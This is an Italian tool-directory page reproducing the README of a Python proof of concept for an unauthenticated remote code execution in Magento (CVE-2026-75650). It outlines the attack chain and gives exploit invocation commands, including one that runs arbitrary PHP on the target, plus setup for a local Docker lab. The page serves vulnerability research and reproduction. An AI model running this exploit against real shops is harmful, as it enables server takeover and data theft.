Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
stylesmuggler — PoC Python che riproduce CVE-2026-75650 StyleSmuggler, un RCE non autenticato su Magento tramite avvelenamento dei report e rendering dei pagamenti falliti, con verifica canary. | Kitploit
Strumenti/GitHubGitHub/fortbridge/stylesmuggler
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingStrumento di Accesso Remoto
GitHubfortbridge/stylesmuggler

stylesmuggler

PoC Python che riproduce CVE-2026-75650 StyleSmuggler, un RCE non autenticato su Magento tramite avvelenamento dei report e rendering dei pagamenti falliti, con verifica canary.

Vedi Repository
9h 31m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

StyleSmuggler HTTP PoC

Repository di ricerca privato per la riproduzione solo HTTP di StyleSmuggler, CVE-2026-75650, contro un laboratorio locale di Magento Open Source.

Leggi la guida tecnica completa in Magento StyleSmuggler RCE: Report Poisoning to Code Execution.

Il PoC Python esegue la sequenza completa non autenticata:

  1. avvelena un report di errore di Magento e legge il suo report ID dalla risposta;
  2. crea un carrello guest;
  3. imposta l'email guest richiesta dalla notifica di pagamento fallito;
  4. memorizza la costruzione annidata del parser dell'indirizzo di fatturazione;
  5. attiva il rendering del pagamento fallito con type, text e styles nella query string;
  6. recupera un nuovo canary per esecuzione via HTTP.

Non copia mai un helper nel container né invoca lo scanner tramite Docker. La libreria standard di Python è sufficiente.

Esecuzione contro un laboratorio esistente

root@kitploit:~
python3 exploit.py --target http://localhost:18082

L'output finale deve contenere e lo stesso marcatore fresco stampato in precedenza in quella esecuzione. Un canary esistente non può soddisfare il controllo perché ogni esecuzione genera un nuovo marcatore.

RCE VERIFIED
STYLESMUGGLER_RUN_...

Il percorso del report deve essere il percorso visto dal processo PHP di destinazione. Sovrascrivilo quando Magento usa un'altra document root:

root@kitploit:~
python3 exploit.py \
  --target http://localhost:18082 \
  --report-dir /srv/magento/var/report

PHP personalizzato

Passa istruzioni PHP senza <?php o ?>:

root@kitploit:~
python3 exploit.py \
  --target http://localhost:18082 \
  --code 'file_put_contents(getcwd()."/custom-test.txt", "PHP ".PHP_VERSION.PHP_EOL);'

curl -sS http://localhost:18082/custom-test.txt

Il PoC scrive il suo marcatore di verifica fresco prima di eseguire il frammento fornito e verifica comunque quel marcatore in seguito.

Burp

Ogni richiesta, inclusi l'avvelenamento del report e il recupero finale del canary, può essere inviata attraverso un proxy HTTP:

root@kitploit:~
python3 exploit.py \
  --target http://localhost:18082 \
  --proxy http://127.0.0.1:8082

Aggiungi --proxy-insecure per un target HTTPS il cui certificato intercettato non è considerato attendibile da Python.

Flusso curl manuale

curl_failed_payment.sh esegue le quattro richieste della Fase 2 ed etichetta il componente Magento raggiunto da ciascuna richiesta. Richiede curl, jq e openssl:

root@kitploit:~
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID

Imposta un altro target o listener Burp tramite variabili d'ambiente:

root@kitploit:~
MAGENTO_URL=http://localhost:18082 \
BURP_PROXY=http://127.0.0.1:8082 \
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID

Target locale

docker-compose.yml fornisce servizi isolati MySQL, OpenSearch e PHP/Apache su 127.0.0.1:18082. Si aspetta un albero sorgente di Magento installato in ./magento2-src.

La validazione finale pulita ha usato il commit di Magento:

root@kitploit:~
f8405be831efa461ec18cc5a637cd98afa767015

Clona il sorgente e installa le sue dipendenze Composer prima di eseguire il normale processo setup:install di Magento:

root@kitploit:~
git clone --filter=blob:none --branch 2.4-develop \
  https://github.com/magento/magento2.git magento2-src
git -C magento2-src checkout f8405be831efa461ec18cc5a637cd98afa767015

docker compose build web
docker compose up -d db opensearch
docker compose run --rm web composer install --no-interaction

Dopo che Magento è installato con host del database db, host OpenSearch opensearch e URL di base http://localhost:18082/, avvia il servizio web:

root@kitploit:~
docker compose up -d web
docker compose ps
Scarica lo strumento